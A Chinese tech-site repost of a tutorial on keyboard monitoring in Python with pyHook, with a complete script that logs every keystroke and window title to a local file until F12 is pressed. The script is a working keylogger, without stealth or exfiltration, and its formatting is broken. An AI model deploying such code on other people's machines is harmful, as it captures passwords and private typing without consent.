最新文章专题视频专题问答1问答10问答100问答1000问答2000关键字专题1关键字专题50关键字专题500关键字专题1500TAG最新视频文章推荐1 推荐3 推荐5 推荐7 推荐9 推荐11 推荐13 推荐15 推荐17 推荐19 推荐21 推荐23 推荐25 推荐27 推荐29 推荐31 推荐33 推荐35 推荐37视频文章20视频文章30视频文章40视频文章50视频文章60 视频文章70视频文章80视频文章90视频文章100视频文章120视频文章140 视频2关键字专题关键字专题tag2tag3文章专题文章专题2文章索引1文章索引2文章索引3文章索引4文章索引5123456789101112131415文章专题3
问答文章1 问答文章501 问答文章1001 问答文章1501 问答文章2001 问答文章2501 问答文章3001 问答文章3501 问答文章4001 问答文章4501 问答文章5001 问答文章5501 问答文章6001 问答文章6501 问答文章7001 问答文章7501 问答文章8001 问答文章8501 问答文章9001 问答文章9501
当前位置: 首页 - 科技 - 知识百科 - 正文

python中使用pyhook实现键盘监控的例子

来源:懂视网 责编:小采 时间:2020-11-27 14:30:39
文档

python中使用pyhook实现键盘监控的例子

python中使用pyhook实现键盘监控的例子:pyhook下载:http://sourceforge.net/projects/pyhook/files/pyhook/1.5.1/ pyhookAPI手册:http://pyhook.sourceforge.net/doc_1.5.0/ 以上网站上提供了几个使用的例子,另外安装pyhooks后,也会有一个例子的文件。于是拿来学习了一下,第一次运行时
推荐度:
导读python中使用pyhook实现键盘监控的例子:pyhook下载:http://sourceforge.net/projects/pyhook/files/pyhook/1.5.1/ pyhookAPI手册:http://pyhook.sourceforge.net/doc_1.5.0/ 以上网站上提供了几个使用的例子,另外安装pyhooks后,也会有一个例子的文件。于是拿来学习了一下,第一次运行时

pyhook下载:http://sourceforge.net/projects/pyhook/files/pyhook/1.5.1/

pyhookAPI手册:http://pyhook.sourceforge.net/doc_1.5.0/

以上网站上提供了几个使用的例子,另外安装pyhooks后,也会有一个例子的文件。于是拿来学习了一下,第一次运行时,提示没有pythoncom模块,就安装了pywin32,安装后,可以正常运行,但是会导致机器发卡,特别是中断程序运行后,鼠标会出现一段时间的自由晃动,找了半天原因,感觉主要是事件频率过高,程序会经常卡在pythoncom.PumpMessages()。

网上搜索了半天,看到有一帖子说是pythoncom.PumpMessages(n),n表示延迟时间,于是试着改了下,发现有一定效果,但不明显,后来想是不是因为没有终止程序,才会导致一直很卡呢,于是添加终止程序语句win32api.PostQuitMessage()。结果还算满意。

# -*- coding: cp936 -*-
import pythoncom 
import pyHook 
import time
import win32api
t=''
asciistr=''
keystr=''
def onKeyboardEvent(event): 
 global t,asciistr,keystr
 filename='d://test.txt'
 wrfile=open(filename,'ab')
 "处理键盘事件"
 if t==str(event.WindowName):
 asciistr=asciistr+chr(event.Ascii)
 keystr=keystr+str(event.Key)
 
 else:
 t=str(event.WindowName)
 if asciistr=='' and keystr=='':
 wrfile.writelines("
Window:%s
" % str(event.Window))
 wrfile.writelines("WindowName:%s
" % str(event.WindowName)) #写入当前窗体名
 wrfile.writelines("MessageName:%s
" % str(event.MessageName))
 wrfile.writelines("Message:%d
" % event.Message)
 wrfile.writelines("Time:%s
" % time.strftime('%Y-%m-%d %H:%M:%S',time.localtime()))
 else:
 wrfile.writelines("Ascii_char:%s
" %asciistr)
 wrfile.writelines("Key_char:%s
" %keystr)
 wrfile.writelines("
Window:%s
" % str(event.Window))
 wrfile.writelines("WindowName:%s
" % str(event.WindowName)) #写入当前窗体名
 wrfile.writelines("Time:%s
" % time.strftime('%Y-%m-%d %H:%M:%S',time.localtime()))
 
 asciistr=chr(event.Ascii)
 keystr=str(event.Key)
 if str(event.Key)=='F12': #按下F12后终止
 wrfile.writelines("Ascii_char:%s
" %asciistr)
 wrfile.writelines("Key_char:%s
" %keystr)
 wrfile.close() 
 win32api.PostQuitMessage()
 
 return True
 
 

if __name__ == "__main__":

 #创建hook句柄 
 hm = pyHook.HookManager() 

 #监控键盘 
 hm.KeyDown = onKeyboardEvent 
 hm.HookKeyboard() 

 #循环获取消息 
 pythoncom.PumpMessages(10000)

声明:本网页内容旨在传播知识,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。TEL:177 7030 7066 E-MAIL:11247931@qq.com

文档

python中使用pyhook实现键盘监控的例子

python中使用pyhook实现键盘监控的例子:pyhook下载:http://sourceforge.net/projects/pyhook/files/pyhook/1.5.1/ pyhookAPI手册:http://pyhook.sourceforge.net/doc_1.5.0/ 以上网站上提供了几个使用的例子,另外安装pyhooks后,也会有一个例子的文件。于是拿来学习了一下,第一次运行时
推荐度:
标签: 键盘 示例 实例
  • 热门焦点

最新推荐

猜你喜欢

热门推荐

专题
Top